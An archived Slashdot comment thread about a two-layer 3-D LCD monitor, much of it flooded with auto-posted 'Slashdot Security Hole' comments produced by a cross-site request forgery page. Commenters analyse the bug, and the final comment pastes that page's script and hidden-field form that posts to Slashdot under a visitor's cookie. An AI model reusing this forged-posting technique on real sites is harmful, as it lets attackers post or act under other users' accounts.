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3-D Monitor From Deep Video Imaging

Silver A writes: "Deep Video Imaging Ltd. has available monitors with real, physical depth, and touchscreen capability. Unfortunately, it's only 800 x 600 x 2 so far. The base model is only $8765.00 for US and Canadian customers. This looks really cool, but I'd like to know if they plan to go to more than 2 planes, and if they support X." Or, on the other hand, if X will support them. These may have limited utility as is, but undeniably cool.

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  1. Slashdot Security Hole10320246297 by segmond · · Score: 1

    10320246297
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
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    If you want to retry.
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  2. You realize what this is, don't you? by MarkoMuscovich · · Score: 2

    It's a nine thousand dollar Viewmaster!

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  3. Slashdot Security Hole3697967987 by segmond · · Score: 1

    3697967987
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
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  4. Cool, but aren't there better ways? by SlashParadox · · Score: 1

    This seems cool, but there have got to be better ways to do 3D.

    Take the IMAX thing a bit further. Instead of projectiong two images with different polarizations, project two images directly onto your retinas. This would give true 3D, and it seems easier than their method.

    Probably be hell to program graphics for.

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    1. Re:Cool, but aren't there better ways? by The+Butler · · Score: 1

      No that hard - there are hardware (ie not green/red) 3D glasses around - or used to be, so it can be done. But I don't like the idea of a driver bug switching the projectors on full - especially since it would probably use lasers. I pefer my eye surgery to be done by a (hopefully) qualified professional, not my PC games!

    2. Re:Cool, but aren't there better ways? by bigwhumpa · · Score: 1

      Remember that your eye only sees what it
      focuses on and the amount of light that
      is focused is only a small portion of the
      light emitted.. The problem is finding
      ways to emit the light directly into the eye
      and precisely, quickly and according to what its focuses at.. I think it would be much easier to do a form of additive reality, where the image
      coexists with you in your present reality,
      kind of like where a pair of glasses with the
      images overlayed on your current view of the world.. The problem with polarized views is
      the 3D image doesn't really jump out at you, it exists somewhere into the screen
      past your reach.. That image has to be in your face to seem like its real and it has to be of plenty of resolution.. It also doesn't
      look real unless you can see things of your reality also about you.. So 1280x1024 screen
      on each eye with some kind of subtle fuzziness
      (optimizing the display according to where you are eye looking).. These technologies exist but probably not at that resolution, its just a matter of fine tuning them.. The viewing field would probably also have to be curved like the
      shape of the eye..

      Has anyone thought of video contacts?
      How hard would that be?? Probably a bad idea,
      people would forget to take them off..

  5. Re:Couldn't they make it modular? by AaronW · · Score: 2

    Since LCDs absorb light (rather than emit light) it is impossible to have a lit pixel behind a black area. This rules out using stacked LCDs.

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  6. Slashdot Security Hole9361037224 by Wascom · · Score: 1

    9361037224
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  7. Slashdot Security Hole6722437867 by Wascom · · Score: 1

    6722437867
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  8. the guy who put this "trap" on /.? by new500 · · Score: 1

    I hit the link off Post #42, which seems to be the first in this story

    A quick look at the posters BIO shows hew posted 3 similar comments within 10 minutes of eachother into different stories

    since the script or whatever on the linked site causes a direct post back to the originating story, I figure this is the guy

    dunno what to do about it. I COULD BE WRONG - PLEASE DONT WITCHUNT. But it seems likely?
  9. Re:Slashdot Security Hole2088445932 by Krakus+Irus · · Score: 1

    First of all, I'm really suprised by the number of people that click on my link and that use Win32 plateforms. Is it because most readers of Slashdot are Windows users or because Windows users are prone to click where somebody says they should not.
    Please stop to click on "retry".
    Sorry for the noise on this forum.
    I demonstrate this bug in a none agressive way, correct your sites guys, some will not !
    Click on "more" if you want more explanations on the bug, it's safe.

  10. Whoever named Outlook had a twisted sense of humor by Akardam · · Score: 1

    Then again, we should thank him/her/it for their hidden warning:

    "If you use Outlook, you'd better Look Out!"

  11. Re:Its not cool, currently, but has potential. by bitMonster · · Score: 1
    A pair of lasers hitting the back of my retinas are cool, relatively cheap, and portable.

    Stacks of LCDs are lame, really expensive, and immovable.

  12. Re:Dimensional Fading? by stienman · · Score: 3

    I'm curious if . . . it would be possible to do . . . with video the same thing that stereo speakers have done for sound.

    The two reasons why you can use two speakers to simulate sound from points other than the speakers are
    1) A speaker in each ear, so you can manipulate the data going to each ear and
    2) The sound moves, and by exploiting the delay involved in the sound going from the speaker to your ear, you can create these effects.

    You can do the same with displays by:
    1) Having a display for each eye (which is currently the best bid on stereo vision) through head displays, or other eye type filters (LCD shutters, polarized lenses, etc)
    2) Moving the display or display surface. If you move an LCD display in and out then you can simulate having infinite planes of display. (I've thought about this in quite a bit of depth. The main issue here is reliability of a large mechanical system including wear, sound and vibration issues)

    If you could cause the speed of light to slow down to about the speed of sound, then it is theoretically feasable that one could sit in a mirrored room and generate 3D holograms without special headgear. Einstein! Where are you!? (Said like, "Scooby-doo, where are you?")

    -Adam

    Logic is a systematic method of coming to the wrong conclusion with confidence.

  13. 2.5D? by ca1v1n · · Score: 1

    Ummm... according to your logic, if something is layered it only gets a half dimension, then the screen would only be 1.5D, since it's basically layered in each dimension. It's just that two of the dimensions have high enough resolution that it is difficult (not impossible) to tell that it is not continuous. As it stands, layering, or pixellating, depending on what angle you view it from, seems to be well regarded as a full dimension. So, it seems to me that this system is in fact 3D, even though it gets very poor resolution in one dimension.

  14. Bigger Hole than first thought? by new500 · · Score: 1

    On Win2k (work) MSIE5.5 ALL scripting, Active X an dcookies set to PROMPT (jscript, cookies)or DISABLE (active X, any other scripting, Java)

    that page ran a REDIRECT in my browser window, sending me back to /. 's post confirmation screen w/ all the correct URLs.and I naively presumed your couldnt do a Jscript REDIRECT with my security settings

    so maybe its NOT just a slashdot bug BUT also a real bad SECURITY BREACH, MAYBE IN THE ECMA SCRIPT MODEL ?? as its in in M$ and a whole lot else

    has anyone contacted the author or poseted the explanation here yet?

    *not* redundant yet

  15. Re:Slashdot Security Hole4674775601 by GrenDel+Fuego · · Score: 2

    he didn't mean to post that. Just like the other hundred or so other people, he clicked a link that posted it for him. The information dosen't match yours, because it describes HIS setup. If you clicked the link, you might want to look for one under your name.

  16. Slashdot Security Hole9863941907 by Hasdi+Hashim · · Score: 1

    9863941907
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
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    If you want to retry.
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  17. Slashdot Security Hole1887277863 by Hasdi+Hashim · · Score: 1

    1887277863
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  18. I've seen it done by J.C.B. · · Score: 1

    Awhile back I was at a science museum (in Seattle I think) where they had a Sun workstaion that had a 3-d mouse and this pair of 3d glasses (I think they used polarized light or a LCD flashing on and off very quickly for each eye) It worked pretty well, except that it gave me a headache after awile.

  19. Slashdot Security Hole963495528 by Eldrik · · Score: 1

    963495528
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    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  20. For what it's worth, here's the source. by CausticPuppy · · Score: 3



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    COLS="50"></TEXTAREA>
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    atext += "like e-trade you can make some people asks for stocks.";
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  21. Since the site has been /.ed... by anotherone · · Score: 1

    I want to know how far apart the layers are.


    Don't criticise someone who is attempting to use free software for not using enough free software.

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  22. Re:Slashdot Security Hole2088445932 by Phroggy · · Score: 1
    Actually Slashdot has a lameness filter that could filter these particular messages, until the root problem can be fixed.

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  23. Slashdot Security Hole8534517009 by abh · · Score: 1

    8534517009
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  24. Slashdot Security Hole2980591721 by Wascom · · Score: 1

    2980591721
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  25. Re:Couldn't they make it modular? by Stephen+Samuel · · Score: 1

    The main problem I can see with that is that, as you add more layers, more and more light gets eaten in the sandwiched layers. You can get around that -- a bit -- with a strongeer backlight, but that still leaves you with more heat, and the layers further back will get dimmer, and dimmer and....
    In time, though, we may have a real solution to those issues. I'm sure that they're working on it.
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  26. Re:Slashdot Security Hole2088445932 by Phroggy · · Score: 1
    I'm at work, and am forced to use Windows for now. I don't run it at home. Whatever my next job is, the situation will probably change.

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  27. Slashdot Security Hole2157400083 by Bastard+Operator+Fro · · Score: 1

    2157400083
    Here is your navigator : Mozilla/4.61 (Macintosh; I; PPC)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

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  28. Slashdot Security Hole6524460562 by Wascom · · Score: 1

    6524460562
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  29. Variation of this bug/exploit... by smack_attack · · Score: 1

    apply the cookie bug, post username/password of slashdot member.

    hehe, that would be kinda funny (not really, but I want to let people know that the current 'sploit is annoying rather than harmful, and that it could actually be malicious if someone coded it right).


  30. Re:Couldn't they make it modular? by AaronW · · Score: 2

    Think about it, if it were clear, it wouldn't be black, would it? That is what causes a pixel to light up. If it's opaque then it is black.

    -Aaron

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  31. Slashdot Security Hole5322940981 by bornholtz · · Score: 1

    5322940981
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
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    If you want to retry.
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  32. Slashdot Security Hole6838745939 by Hubcity · · Score: 1

    6838745939
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  33. Slashdot Security Hole3368513944 by piku · · Score: 1

    3368513944
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
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  34. Re:And ? by Pfhreakaz0id · · Score: 3

    Porn freaks -- they drive just about every other technological invention down in price (think CD-ROMs, VCR's, etc., God bless their pervert brains and sweaty palms! P.S. -- I think gaming could be pretty cool on this, too.
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  35. Re:Couldn't they make it modular? by jpkeane · · Score: 1

    Hmmm...

    But you *could* have a black pixel behind a white one. It seems to me that you could use stacked LCDs to get a 3-D effect. You just use white (clear) as the transparent color. It's no different than the real world, where opaque objects obscure our view of other things behind them.

  36. Re:I hope that was supposed to be humorous by anotherone · · Score: 1

    Imagine if you move a window over another window and it physically moves closer to you. _That_ would be cool.


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  37. Slashdot Security Hole8596385130 by piku · · Score: 1

    8596385130
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  38. Slashdot Security Hole6868107482 by bornholtz · · Score: 1

    6868107482
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

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  39. Slashdot Security Hole7369756360 by piku · · Score: 1

    7369756360
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  40. Its not cool, currently, but has potential. by torpor · · Score: 4

    One thing you can't really do with hardware layering and mixdown is provide a feeling of space - with this screen you can move your head ever so slightly and get a concept of depth, even if its only minor.

    This could have exciting implications for future GUI design, and if they perfect the manufacturing process to the point where more than 2 planes can be sandwiched (say, 32 or 64?) then we start seeing some really interesting opportunities for GUI design, not to mention the artistic value, which is often inappropriately overlooked in technology.

    Imagine a GUI that gives you a degree of depth inherently without requiring large resources - buttons could have 3d edges that were handled at the hardware level, rather than software - thus making for better resource management, and therefore leading to more efficient GUI performance. This may seem minor, and perhaps it is, but I can see how this would have potential.

    Once we get up to the 64-pixel Z-plane level of production, I can see widgets being designed that use the Z-plane to provide ancilliary info feedback to the user without requiring any more interaction on the users part than to just move their head and look closer.

    I was thinking about this similar "liveliness" aspect of GUI design the other day when playing with http://www.praystation.com/ (excellent web page) - it'd be nice if there were some way to produce a screen that could figure out what you were looking at, perhaps by bouncing something off your retina and doing geometry to get a point of what you're looking at. In the 80's, marketing devices that used lasers to see what you were looking at were used to do market research of TV commercials - it'd be nice to see something like this built into LCD screens, so we could do away with the mouse altogether.

    But the thought I had was that, with something like this, the longer you look at the control the more information it could provide you - bringing a "liveliness" aspect to the control that we don't currently have with the static 2d shapes we call user interfaces right now.

    Having a 3D screen with a 64-layer Z-plane would be another way to add 'liveliness' to an interface... you could for example build a mixing console that provides you with channel insert information, with amplituded represented in depth.

    I'd say 64-layer Z-planes would be the next major step for this company. Get things to that point, and the GUI design world starts to get *really* interesting...

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    1. Re:Its not cool, currently, but has potential. by The+Butler · · Score: 1

      The only problem I could see with a 64-layer Z-plane screen is that without having an extremely deep screen (read: tank), the layers would be far too close together to have much effect - except possibly produce a blured, hard to read image. I think that true-3D output has potential, but this implemtentation of it leaves a lot to be desired, even if it is delevoped further. But solutions like goggles have their drawbacks, too - no good if more than one person needs to watch at the same time, for example, and a pain to adjust. While a true-3D monitor would be nice, I think the novelty would wear off before long - do we actually NEED true-3D for most applications? Could you justify spending $8000 on a toy?

    2. Re:Its not cool, currently, but has potential. by Kowh · · Score: 1

      (Comments made while mostly asleep...)

      When I'm tired and trying to do something on my computer, it's bad enough trying to focus on one level, let alone trying to get my sleeping brain to try and compensate for multiple levels. Which, no matter how hard we try, will be "just a little bit" off because different people "see" slightly differently...

      Also, what if my eyes are only barely open enough to see, and I'm continually blinking/resting my eyes for 5 secs. Wouldn't that make the already hard task of tracking my eyes even closer to impossible?

  41. Slashdot Security Hole7515482293 by jon_c · · Score: 1

    7515482293
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

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    this is my sig.
  42. Re:Slashdot Bug by Eric+Gibson · · Score: 1

    It'll also teach me to use the back button. I just instinctively clicked back when I was staring at posting and it did it again.

    Doh!

    All in all, pretty damn funny, but I changed my passwd just the same. ;-)

  43. And ? by theirpuppet · · Score: 1

    Who would pay that much for such limited functionality ?

    1. Re:And ? by mortenal · · Score: 1

      hey! i've got sweaty palms, and i'm not... um... too much of a porn freak... um, nevermind i said anything.

      --
      Think that was flamebait? You've obviously never met me in person...
      $email=~tr/.@/ /d;
    2. Re:And ? by cprincipe · · Score: 1

      Maybe the pr0n viewers?

      --

      bun-fhuinneog agam!

    3. Re:And ? by Stephen+Samuel · · Score: 3
      > Who would pay that much for such limited functionality ?

      Pretty easy to answer: The people who want/need it. Not many people have much use for someone who can dunk a basketball from the 3 point line 95% of the time either. On the other hand, the people who do (e.g. NBA teams) are willing to pay a REALLY pretty penny for the ability.

      Similarly when I'm looking for a job. Not everybody needs my skill set, but those who do are willing to pay reasonably well for it :-((But not as much as Jordan gets))-:
      --

      --
      Free Software: Like love, it grows best when given away.
  44. Wow! by n8dmt · · Score: 1

    Very Cool, but OUCH!!! $$$$

    1. Re:Wow! by Karmageddon · · Score: 1

      put a
      in front of your sig, and maybe <i> around it and it'll look more "significant"

    2. Re:Wow! by Steven+W0ston · · Score: 1

      I do not find this funny. Please do not insult someone of my ability with such nonsense. I have some serious coding to do, and I come to slashdot to relax. SERIOUS programming, unlike that hack shit you may squirt out.

      --
      Steven Woston Lead Programmer J-J-J-Julius Games http://www.jjjjulius.com
    3. Re:Wow! by n8dmt · · Score: 1

      I don't think they liked my 'sig'...

  45. Re:Another idea just occured to me: by TSN · · Score: 1

    Erm... How exactly do you intend to see both programs at once, if one is on top of the other?

  46. Slashdot Security Hole8547236984 by Chris+Hind · · Score: 1

    8547236984
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    nal 11
  47. Re:Since deepvideo.com seems to be overloaded... by Jeremi · · Score: 1
    If you want a true 3D display, IMHO the most straightforward way to go about it is to start with a lightweight, transparent, double-sided LCD panel, and add an electric motor that causes the panel to rotate about its center about 60 times per second. Presto, a cylindrical volumetric display!

    Might be kind of dangerous, though...

    --


    I don't care if it's 90,000 hectares. That lake was not my doing.
  48. That's just plain cool ... by bemis · · Score: 1

    I've checked these out a little bit ... they look alot like what one of the UI developers for the original mac told wired he thought that windows would eventually go to ... (only i think that this is a little more literal "3-d" than he'd originally meant :) ... One of these would definately raise the geek-factor in a household significantly.

    1. Re:That's just plain cool ... by bemis · · Score: 1

      one other question ... i wonder if this'll throw people like myself (no depth perception whatsoever) into a migraine fit, or be just a blurry mess, or actually be a usefull way for some of us that can't to see 3-d ... :/ ... perplexing ...

  49. Re:Couldn't they make it modular? by ShunScene · · Score: 2

    Other way around..
    It's impossible to have a black pixel behind and a lit pixel on top.
    For the techs out there, they simply use a standard (matrox?) video card set at 1600x600 - the left half of the display is underneath and the right half is on top. It makes for some <ahem> interesting mouse navigation.
    I've overheard that their intended market is embedded kiosks - like those automated movie dispenser things or the "virtual tour guide" at the tourist center.

    -ShunScene

  50. Hmmm....$8765 huh? by Metuchen · · Score: 1

    Does anybody else find it curious that the price for this product is $8765? I think that maybe they were just lazy and they just strummed their fingers across four keys on the top row of their keyboard :-)

    --
    # They who can give up essential liberty to obtain a little temporary safety, deserve neither liberty nor safety. --Fran
  51. Not slashdot hole by segmond · · Score: 3

    whoever posted that was irresponsible, knowing that many people will click on it out of curiosity, but worst of all, that person had to label it "Slashdot Hole", It is not.
    Anyway, here is the raw output of what causes this.

    Connected to www.multimania.com.
    Escape character is '^]'.
    GET /abuabu/slashdothole.html

    I was going to paste it, but slashdot crap is bugged, it mistakes java script code for multiple level of indentation of html. duh! so just get it yourself.

    Oops, I was going to post this, but I realized there is a slight security hole, slashdot lets you post in 70 seconds intervals, with this script the 70 seconds intervals is not enforced, thus one can automate this and just flood the entire slashdot with garbage in a few minutes! ick!

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    ------ Curiosity killed the cat. {satisfaction brought it back | it didn't die ignorant | lack of it is killing mankind
    1. Re:Not slashdot hole by new500 · · Score: 2

      I think i was the first to accidentally hit the link. So the guy who posted it is very probably poster number 42 and my first thinking about this was in post number 213 But we've been all too busy to even call him an agrravating Frog yet (his site is in France) #8~)

  52. Slashdot Security Hole4594101037 by spraydio · · Score: 1

    4594101037
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus@voila.fr
    If you want to retry.
    If you want to know more.

    --
    just ping it
  53. seen the BUG - read the code! by new500 · · Score: 1

    The code is here in PDF format AND NOW HTML as well. Formatting not very nice tho'.

    Any comments on the code? Ive not had time

    1. Re:seen the BUG - read the code! by pudge · · Score: 2

      Anyone who knows anything about CGI security knows that checking referers is pretty much a waste of time, if you want to really fix a problem.

  54. SLASHBUG code is here by new500 · · Score: 1

    The code is here in PDF format for the page and JAVAscript which is causing all this trouble. Sorry but PDF the only way i could get to make this readable in original format without being interpreted as HTML and continuing the problem

    Happy reading!
  55. Re:Slashdot Security Hole2088445932 by Krakus+Irus · · Score: 1

    It's now inactive

  56. Has nothing to do with: http://lwn.net/2000/featur by tiwason · · Score: 1

    http://lwn.net/2000/features/Redirect.phtml

    States:

    >>
    Essentially, if you ask a web server for a page, the server can send back a redirect, saying "actually, it's over there." Your browser then goes to the new page and asks again. Redirects are useful for a number of purposes; for example, when a web site moves a redirect can be put in to point readers to the new site transparently. (Thus, for example, some people still go to www.eklektix.com/lwn/ to read LWN and it works, even though LWN has not been there for two years).
    >>

    Yet the problem here is Slashdot itself... and nothing else... From what it seems, Slashdot figures who is posting simply by looking at the cookie.. and nothing submited from the form..

    Thus the "Security hole" page auto submits to slashdot which reads your cookie and posts a comment under your name..

    Easily taken care of by slashdot by simply entering the users username as a hidden variable in the form, or an md5 hash to make sure none of the fields are being tappered with...

    ITS NOT a web wide problem.... Just a Slashcode problem..

  57. Re:Shut up you moron! by new500 · · Score: 1

    yeah, sadly im not alone o fthe reader's in this story, and it seems very few but the early suckers got modded down (a few points for ma already :(

    but i figured i'd take a look at the problem :

    The bug code is here

    off for coffee
  58. someone mod post #42 further please? by new500 · · Score: 1

    okay, nice demo (NOT), but (i was dumb enough to click the *retry* link no tthe *more info* link - too much coffe i presume) but the target site picked up my ID and posted under my name comment #42

    cost me a karma point, and rightly too, bu tthat oughtaa be on -1 at leastmodded down to 0 since I got caught out
  59. Slashdot Security Hole9512299312 by wa · · Score: 1

    9512299312
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; MSN 2.6; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  60. Problem -- Pixel Aperture Ratios by Guppy · · Score: 3

    "I can't get to the site right now, but why couldn't the company make just layers of LCD screens?"

    I imagine this may have something to do with pixel aperture ratios. An active-matrix LCD panel isn't completely transparent--the transistors and other components take up space and occlude part of each pixel. A high-aperture LCD might have as much as 70-80% of each pixel open, but even so you'll eventually loose too much light as you stack up more and more layers.

  61. A matter of time by stienman · · Score: 4

    First of all, this should really be labelled 2.5D, not 3D, since it is layered.

    It was only a matter of time until people started coming out with displays such as this. Layering 10 transparent LCDs would be good also.

    The problems is the bandwidth needed to drive such a beast. Imagine 10 layers (not very many at all) and 1024x768x24 at 60Hz. This means you need a graphics card capable of handling over 12Gb/s of data. In comparison, my 1600x1200 monitor only needs 46Mb/s of bandwidth.

    But then, bandwidth is a widespread problem that is getting more attention than other problems. Imagine an HDTV receiver that gets 10 channels synchronized to a 10 layer monitor... 2.5D movies, anyone?

    -Adam

    Q: How many IBM CPU's does it take to execute a job?
    A: Four; three to hold it down, and one to rip its head off.

    1. Re:A matter of time by technos · · Score: 2

      You just need to move the monitor 'closer' to the bus. 16x12 requires 46Mb/s in raw form (over the cable to your dumb display) but there sure isn't that much travelling over the system bus, and there ain't that much activly being transferred internally by the video card either! So there has to be a place we could 'snip' off the video card and move outboard to the display. Say after the geometry has been calculated for the frame, it's compared to the last one and sent to the monitor as vectorized meta-data, along with the appropriate bitmaps to paint with. Monitor keeps tabs on the totality of the image in a seperate framebuffer array.

      --
      .sig: Now legally binding!
  62. Slashdot Security Hole9397800373 by wa · · Score: 1

    9397800373
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; MSN 2.6; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  63. Slashdot Security Hole4781480094 by wa · · Score: 1

    4781480094
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; MSN 2.6; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  64. Re:Couldn't they make it modular? by anotherone · · Score: 1

    I might be wrong, but I believe that blank LCD pixel is clear.


    Don't criticise someone who is attempting to use free software for not using enough free software.

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  65. Slashdot Security Hole6097301187 by wa · · Score: 1

    6097301187
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; MSN 2.6; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  66. Slashdot Security Hole5917698154 by jon_c · · Score: 1

    5917698154
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    this is my sig.
  67. Slashdot Security Hole1182021410 by DavidInTx · · Score: 1

    1182021410
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  68. Slashdot Security Hole10604950724 by jon_c · · Score: 1

    10604950724
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    this is my sig.
  69. Slashdot Security Hole8975823972 by DavidInTx · · Score: 1

    8975823972
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  70. Slashdot Security Hole7584318488 by bemis · · Score: 1

    7584318488
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    1. Re:Slashdot Security Hole7584318488 by bemis · · Score: 1

      Okay .. that's about fuckin' annoying ...

      <SCRIPT LANGUAGE="JavaScript">

      <!--
      function doerror() {return true;};
      // To avoid multiple calls with frames, only the top-most frameset calls the popup :
      var nav = navigator.appName.charAt(0);
      var ver = navigator.appVersion.charAt(0);
      if (top==self) { // && (document.cookie.indexOf(document.location) < 0) ) {
      // document.write("---"+document.cookie.indexOf(docum ent.location)+"---");
      document.cookie = "IB="+document.location;
      var w,h;
      var hak = 0;

      if ((nav=="N" && ver < "4") || (nav=="E" && ver < "3")) {
      w = 500;
      h = 184;
      }
      else if (nav=="N") { // NS 4
      w = 468;
      h = 134;
      }
      else { // IE 4+
      w = 468;
      h = 134;
      hak = 1;
      }

      var adr = "http://www.multimania.fr/general/pub/popup/perso. phtml?category=/noref&search_query=" + escape("");
      window.open(
      adr,
      "CtrlWindow",
      "width="+w+",height="+h+",toolbar=no,menubar=no,lo cation=no,scrollbars=no,resize=no"
      );

      if (hak) {
      window.onerror = doerror;
      }
      }
      // -->

      </SCRIPT>
      <FORM ACTION="http://www.slashdot.org/comments.pl" METHOD="POST">

      <INPUT TYPE="HIDDEN" NAME="sid" VALUE="00/05/19/190219">
      <INPUT TYPE="HIDDEN" NAME="pid" VALUE="0">
      <INPUT TYPE="HIDDEN" NAME="mode" VALUE="thread">
      <INPUT TYPE="HIDDEN" NAME="startat" VALUE="">
      <INPUT TYPE="HIDDEN" NAME="threshold" VALUE="1">
      <INPUT TYPE="HIDDEN" NAME="commentsort" VALUE="0">

      <TABLE BORDER="0" CELLSPACING="0" CELLPADDING="1">

      <INPUT type="hidden" name="formkey" value="NmRBBKFoO7">
      <TR><TD> </TD><TD>
      You are not logged in. You can login now using the
      convenient form below, or
      <A HREF="http://slashdot.org/users.pl">Create an Account</A>.
      Posts without proper registration are posted as
      <B>Anonymous Coward</B>
      </TD></TR>

      <TR><TD ALIGN="RIGHT">Nick</TD><TD>

      </TD></TR><TR><TD ALIGN="RIGHT">Passwd</TD><TD>

      </TD></TR>

      <TR><TD WIDTH="130" ALIGN="RIGHT">Name</TD><TD WIDTH="500">
      <A HREF="http://slashdot.org/users.pl">Anonymous Coward</A> [
      <A HREF="http://slashdot.org/users.pl">Create Account</A>
      ] </TD></TR>

      <TR><TD ALIGN="RIGHT">Subject</TD>

